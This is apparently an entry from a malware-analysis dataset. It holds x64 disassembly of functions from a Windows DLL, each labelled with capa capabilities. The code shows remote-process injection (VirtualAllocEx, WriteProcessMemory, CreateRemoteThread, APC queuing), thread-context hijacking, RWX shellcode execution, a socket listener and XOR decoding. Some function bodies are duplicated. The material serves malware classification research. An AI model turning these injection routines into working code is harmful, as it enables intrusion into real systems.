joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180011ba8
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rdi, rcx
lea rcx, str.ntdll
mov rsi, r8
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
test rax, rax
jne 0x180011bed
xor eax, eax
jmp 0x180011c17
mov rcx, qword [rdi + 8]
xor r9d, r9d
mov r8, rsi
mov rdx, rbp
mov qword [rsp + 0x20], rbx
call rax
test eax, eax
jne 0x180011be9
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x180011c2c
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
setne bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x180011c58
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
mov r9, rdx
xor edx, edx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
setne bl
mov eax, ebx
add rsp, 0x40
pop rbx
ret

Function at 0x180011c8c
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x520
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x510], rax
mov rbx, qword [rsp + 0x578]
mov ebp, dword [rsp + 0x580]
mov edi, ecx
mov rcx, qword [rsp + 0x570]
mov rsi, r9
mov r14, r8
mov r15, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
mov r8, rax
test rax, rax
jne 0x180011cf6
xor eax, eax
jmp 0x180011d92
add r8, rbp
sub edi, 6
je 0x180011d27
dec edi
jne 0x180011cef
mov r9, r8
mov qword [rsp + 0x30], rbx
xor edx, edx
xor r8d, r8d
mov rcx, r15
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x180011d41
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x180011cef
lea rdx, [rsp + 0x40]
mov rcx, rax
mov dword [rsp + 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180011cef
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov qword [rsp + 0xc0], r14
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x180011cef
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x510]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x550]
add rsp, 0x520
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180012038
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r14, rcx
xor ebx, ebx
mov edi, r9d
lea ecx, [rbx + 0x2d]
mov r12, r8
call fcn.180018090
lea ecx, [rbx + 0x2b]
mov ebp, eax
cmp edi, eax
cmova ebp, edi
mov r15d, ebp
call fcn.180018118
mov r9d, 0x3000
movzx eax, ax
mov r8d, ebp
xor edx, edx
mov rcx, r14
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1800120b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x1f]
mov edx, ebp
mov r8d, eax
call fcn.18000d3e0
xor eax, eax
jmp 0x180012143
test edi, edi
jle 0x1800120f1
movsxd rcx, ebx
mov eax, edi
sub eax, ebx
lea r8, [rcx + r12]
lea rdx, [rcx + rsi]
movsxd r9, eax
lea rax, [rsp + 0x88]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180012129
mov eax, dword [rsp + 0x88]
add ebx, eax
test eax, eax
je 0x1800120a9
cmp ebx, edi
jl 0x1800120b4
mov ecx, 0x2c
call fcn.180018118
mov r8, r15
mov rdx, rsi
movzx r9d, ax
lea rax, [rsp + 0x30]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x180012140
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, send
jmp 0x180012134
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_recv
mov edx, eax
call fcn.18000d3d4
jmp 0x1800120a9
mov rax, rsi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x180012210
Capabilities:
Resume thread

Disassembly:
cmp byte [rcx + 0x14], 0
mov rcx, qword [rcx + 8]
je 0x1800122b0
jmp 0x180012210
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x500
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rsi, rdx
lea rdx, [rsp + 0x20]
mov rbp, r8
mov rdi, rcx
mov dword [rsp + 0x50], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ebx, ebx
test eax, eax
jne 0x180012257
xor eax, eax
jmp 0x18001228a
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rbp
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x180012253
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x538]
add rsp, 0x500
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x300
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
xor ebx, ebx
mov rsi, rdx
mov rdi, rcx
test r8, r8
je 0x1800122e5
xor eax, eax
jmp 0x180012326
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x100002
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x1800122e1
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0xd0], esi
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x1800122e1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.18001a200
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1800122b0
Capabilities:
Resume thread

Disassembly:
cmp byte [rcx + 0x14], 0
mov rcx, qword [rcx + 8]
je 0x1800122b0
jmp 0x180012210
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x500
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rsi, rdx
lea rdx, [rsp + 0x20]
mov rbp, r8
mov rdi, rcx
mov dword [rsp + 0x50], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ebx, ebx
test eax, eax
jne 0x180012257
xor eax, eax
jmp 0x18001228a
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rbp
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x180012253
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x538]
add rsp, 0x500
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x300
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
xor ebx, ebx
mov rsi, rdx
mov rdi, rcx
test r8, r8
je 0x1800122e5
xor eax, eax
jmp 0x180012326
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x100002
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x1800122e1
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0xd0], esi
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x1800122e1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.18001a200
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x18001245c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0x70
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rcx
mov qword [r11 - 0x20], r8
mov qword [r11 - 0x58], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [r11 - 0x18], r9d
mov qword [r11 - 0x48], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, edx
mov qword [r11 - 0x50], rax
lea rax, [0x18001252c]
mov r9d, 0x40
mov qword [r11 - 0x40], rax
lea rax, [0x180012534]
mov r8d, 0x3000
mov qword [r11 - 0x38], rax
lea rax, [0x180012524]
mov edx, edx
mov qword [r11 - 0x30], rax
lea rax, [0x1800125c8]
xor ecx, ecx
mov qword [r11 - 0x28], rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18001250f
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.180019c80
lea rcx, [rsp + 0x20]
call rbx
mov r8d, 0x8000
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [rsp + 0x64]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180013068
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
lea rax, [rax - 0x18]
mov edi, r8d
mov rbp, rdx
xor ebx, ebx
xor r9d, r9d
and qword [rax - 8], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x1800130af
or eax, 0xffffffff
jmp 0x180013111
cmp dword [rsp + 0x30], ebx
jbe 0x18001310d
cmp ebx, edi
jae 0x18001310d
and qword [rsp + 0x20], 0
mov r8d, edi
lea r9, [rsp + 0x68]
sub r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x68]
and qword [rsp + 0x28], 0
add ebx, dword [rsp + 0x68]
add rbp, rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x1800130aa
cmp dword [rsp + 0x30], 0
ja 0x1800130b5
mov eax, dword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x180013900
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
and dword [rax - 0x18], 0
xor ebx, ebx
and qword [rax - 0x28], rbx
mov edi, r8d
mov rbp, rdx
lea r8d, [rbx + 4]
lea r9, [rax + 0x20]
lea rdx, [rax - 0x18]
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18001398d
cmp dword [rsp + 0x68], 4
jne 0x18001398d
mov eax, dword [rsp + 0x30]
cmp eax, edi
jg 0x18001398d
test eax, eax
jle 0x180013989
and qword [rsp + 0x20], 0
sub eax, ebx
movsxd rdx, ebx
lea r9, [rsp + 0x68]
mov rcx, rsi
add rdx, rbp
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18001398d
mov eax, dword [rsp + 0x68]
test eax, eax
je 0x18001398d
add ebx, eax
mov eax, dword [rsp + 0x30]
cmp ebx, eax
jl 0x180013954
mov eax, ebx
jmp 0x180013990
or eax, 0xffffffff
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x180013c1c
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
and dword [rsp + 0x30], 0
mov rbx, rdx
mov rdi, rcx
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
lea rax, [0x180013cc0]
lea rcx, [0x180013cbc]
mov qword [rdi + 0x10], rax
lea rax, [0x180013cd8]
mov qword [rdi + 8], rbx
mov rbx, qword [rsp + 0x38]
mov qword [rdi + 0x18], rax
lea rax, [0x180013c94]
mov qword [rdi + 0x20], rax
lea rax, [0x180013ccc]
mov qword [rdi + 0x28], rcx
mov qword [rdi + 0x30], rax
mov rax, rdi
mov qword [rdi + 0x38], rcx
add rsp, 0x20
pop rdi
ret
Function at 0x1800148ac
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov ebx, 1
mov edi, edx
mov esi, ecx
mov dword [rsp + 0x20], ebx
call fcn.18000dd60
lea r14d, [rbx + 1]
mov ecx, r14d
xor r8d, r8d
mov edx, ebx
call qword [sym.imp.WS2_32.dll_socket]
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x180014902
mov rax, rbp
jmp 0x180014969
movzx ecx, si
mov word [rsp + 0x28], r14w
call qword [sym.imp.WS2_32.dll_htons]
and dword [rsp + 0x2c], 0
lea r8, [rsp + 0x20]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x2a], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, ebp
jne 0x18001493d
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1800148fd
lea rdx, [rsp + 0x28]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
cmp eax, ebp
je 0x180014935
mov edx, edi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, ebp
jne 0x180014966
mov rcx, rbx
jmp 0x180014935
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x1800149a8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.1800149d0
mov rcx, rbx
call fcn.180014cdc
test eax, eax
jg 0x1800149b6
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x180014de8
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x18003f3e0]
xor edi, edi
test rbx, rbx
je 0x180014e86
mov eax, dword [rbx + 4]
test eax, eax
jne 0x180014e19
cmp dword [rbx + 0xc], eax
jne 0x180014e22
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x180014dfb
test eax, eax
jne 0x180014e19
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x180014e19
cmp dword [rbx + 0x10], 0
jne 0x180014e4b
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180014e5f
cmp dword [rbx + 0x10], 2
je 0x180014e19
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x180014e7a
mov qword [rdi + 0x28], rax
call fcn.180019338
mov rbx, qword [rdi + 0x28]
jmp 0x180014dfb
mov qword [0x18003f3e0], rax
call fcn.180019338
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180014cdc
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x20
and dword [rax + 0x10], 0
mov rbx, qword [0x18003f3e0]
xor edi, edi
cmp qword [0x18003f3e8], rdi
mov rsi, rcx
jne 0x180014d1b
mov ecx, 0x100000
call fcn.180019378
mov qword [0x18003f3e8], rax
test rbx, rbx
je 0x180014dcf
mov r15d, 0xffffc
cmp dword [rbx + 4], 1
jne 0x180014dc2
mov ecx, dword [rbx]
call qword [sym.imp.WS2_32.dll_htonl]
lea r8, [rsp + 0x38]
mov edx, 0x4004667f
mov ecx, eax
mov rax, qword [0x18003f3e8]
mov dword [rax], ecx
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, dword [rsp + 0x38]
cmp r8d, r15d
cmova r8d, r15d
mov dword [rsp + 0x38], r8d
cmp eax, 0xffffffff
je 0x180014d8f
test r8d, r8d
je 0x180014dc2
mov rdx, qword [0x18003f3e8]
mov rcx, qword [rbx + 0x20]
add rdx, 4
call fcn.180014e94
cmp eax, 0xffffffff
jne 0x180014da6
mov rcx, qword [0x18003f3e8]
and dword [rbx + 4], 0
mov edx, 4
mov r8d, edx
call rsi
jmp 0x180014dc2
mov edx, dword [rsp + 0x38]
cmp eax, edx
jne 0x180014dc2
mov rcx, qword [0x18003f3e8]
add edx, 4
mov r8d, 5
call rsi
inc edi
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180014d2a
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret

Function at 0x180014de8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.1800149d0
mov rcx, rbx
call fcn.180014cdc
test eax, eax
jg 0x1800149b6
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x180014de8
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x18003f3e0]
xor edi, edi
test rbx, rbx
je 0x180014e86
mov eax, dword [rbx + 4]
test eax, eax
jne 0x180014e19
cmp dword [rbx + 0xc], eax
jne 0x180014e22
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x180014dfb
test eax, eax
jne 0x180014e19
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x180014e19
cmp dword [rbx + 0x10], 0
jne 0x180014e4b
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180014e5f
cmp dword [rbx + 0x10], 2
je 0x180014e19
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x180014e7a
mov qword [rdi + 0x28], rax
call fcn.180019338
mov rbx, qword [rdi + 0x28]
jmp 0x180014dfb
mov qword [0x18003f3e0], rax
call fcn.180019338
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180014e94
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov esi, r8d
mov rbp, rdx
mov rdi, rcx
test r8d, r8d
jle 0x180014ede
mov r8d, esi
xor r9d, r9d
mov rdx, rbp
sub r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
add rbp, rcx
add ebx, ecx
cmp ecx, 0xffffffff
je 0x180014ef5
cmp ebx, esi
jl 0x180014eb8
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov edx, 2
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x180014ee0

Function at 0x180014f14
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x470
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov ebp, r8d
mov rsi, rdx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
and dword [rsp + 0x30], 0
mov dword [rsp + 0x34], 0x64
lea edi, [rax + 0x7530]
jmp 0x180014ff8
mov rax, qword [rbx + 0x20]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x250]
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x250], 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 1
call qword [sym.imp.WS2_32.dll_select]
mov rcx, qword [rbx + 0x20]
lea rdx, [rsp + 0x40]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x180015006
mov rcx, qword [rbx + 0x20]
lea rdx, [rsp + 0x250]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x180014ff8
mov rcx, qword [rbx + 0x20]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x180015006
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x180015006
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x180014f5c
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x470
pop rdi
pop rsi
pop rbp
ret
Function at 0x180016d94
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r14, rcx
mov r12d, 0x8000
mov r15, r8
mov ecx, r12d
mov rsi, rdx
call fcn.180019378
lea r8, str._s
mov r9, r14
mov rcx, rax
mov edx, r12d
mov rbx, rax
call fcn.18001972c
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rcx, rbx
mov rbp, rax
call fcn.180019338
cmp rbp, 0xffffffffffffffff
je 0x180016eb2
lea rdi, [rsi + 0x2c]
test byte [rsi], 0x10
je 0x180016e89
mov al, byte [rdi]
cmp al, byte [0x18002c97c]
jne 0x180016e1f
mov al, byte [rdi + 1]
cmp al, byte [0x18002c97d]
je 0x180016e95
mov al, byte [rdi]
cmp al, byte [0x18002c980]
jne 0x180016e3f
mov al, byte [rdi + 1]
cmp al, byte [0x18002c981]
jne 0x180016e3f
mov al, byte [rdi + 2]
cmp al, byte [0x18002c982]
je 0x180016e95
mov rcx, r12
call fcn.180019378
lea r8, [0x18002c728]
mov r9, rdi
mov rcx, rax
mov rdx, r12
mov rbx, rax
call fcn.18001972c
mov r9, r15
mov r8, rsi
mov rdx, rdi
mov rcx, r14
call fcn.180016ed4
mov r8d, 1
mov rdx, rbx
mov rcx, r14
call r15
mov rcx, rbx
call fcn.180019338
jmp 0x180016e95
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call r15
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180016e05
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x180018148
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x40
mov qword [0x180046a30], rcx
mov ebx, 0x400
mov ecx, ebx
call fcn.180019378
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov qword [0x180046a38], rax
call fcn.180019620
xor r15d, r15d
lea rbp, str.._._._..._._._
mov eax, r15d
xor byte [rax + rbp], 0x2e
inc rax
cmp rax, 0x1000
jl 0x180018195
lea rcx, [rsp + 0x20]
mov r8d, 0x1000
mov rdx, rbp
call fcn.1800141f4
jmp 0x180018262
lea rcx, [rsp + 0x20]
call fcn.180014264
lea rcx, [rsp + 0x20]
movsx ebx, ax
call fcn.180014264
mov rcx, qword [0x180046a38]
movsx rdi, di
mov edx, ebx
movzx esi, ax
shl rdi, 4
mov word [rdi + rcx], bx
dec edx
je 0x18001824c
dec edx
je 0x180018235
dec edx
jne 0x180018262
movsx rbx, ax
mov rcx, rbx
call fcn.180019378
mov rdx, qword [0x180046a38]
lea rcx, [rsp + 0x20]
mov qword [rdi + rdx + 8], rax
movsx edx, si
call fcn.18001423c
mov rcx, qword [0x180046a38]
mov r8, rbx
mov rcx, qword [rdi + rcx + 8]
mov rdx, rax
call fcn.180019c80
jmp 0x180018262
lea rcx, [rsp + 0x20]
call fcn.180014204
mov rcx, qword [0x180046a38]
mov dword [rdi + rcx + 8], eax
jmp 0x180018262
lea rcx, [rsp + 0x20]
call fcn.180014264
mov rdx, qword [0x180046a38]
mov word [rdi + rdx + 8], ax
lea rcx, [rsp + 0x20]
call fcn.180014264
movzx edi, ax
test ax, ax
jg 0x1800181bc
xor edx, edx
mov r8d, 0x1000
mov rcx, rbp
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r15
jmp fcn.180019620

Function at 0x180018708
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
or rsi, 0xffffffffffffffff
mov rdi, rdx
mov rbx, rcx
lea edx, [rsi + 0x19]
lea r9d, [rsi + 5]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [r14 + 0x10], rax
call fcn.180018880
mov r8, qword [0x180042768]
test r8, r8
je 0x18001877d
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r9, r14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
